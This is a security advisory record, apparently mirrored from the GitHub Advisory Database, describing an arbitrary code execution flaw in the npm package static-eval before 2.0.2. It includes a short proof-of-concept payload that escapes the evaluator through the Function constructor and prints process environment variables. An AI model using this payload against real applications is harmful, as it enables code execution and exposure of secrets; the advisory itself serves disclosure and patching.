# GHSA-x9hc-rw35-f44h: Sandbox Breakout / Arbitrary Code Execution in static-eval

- Severity: High 7.3 (CVSS:3.1, scored by GitHub) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-02T15:46:03.000Z
- Modified: 2021-09-27T13:40:52.000Z
- Weaknesses: CWE-94

## Description

Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

## Proof of concept
```
var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
```


## Recommendation

Upgrade to version 2.0.2 or later.

(As written by GitHub Advisory Database.)

## Affected

- static-eval (npm): before 2.0.2

## References

- <https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693> (package)
- <https://www.npmjs.com/advisories/758> (web)

## Sources

- GitHub Advisory Database: [GHSA-x9hc-rw35-f44h](https://github.com/advisories/GHSA-x9hc-rw35-f44h), CC-BY-4.0, modified 2021-09-27

---

Page: https://cve.day/GHSA-x9hc-rw35-f44h · Whole record: https://cve.day/GHSA-x9hc-rw35-f44h.json · Rebuilt by cve.day 2026-11-25T22:56:47.003Z
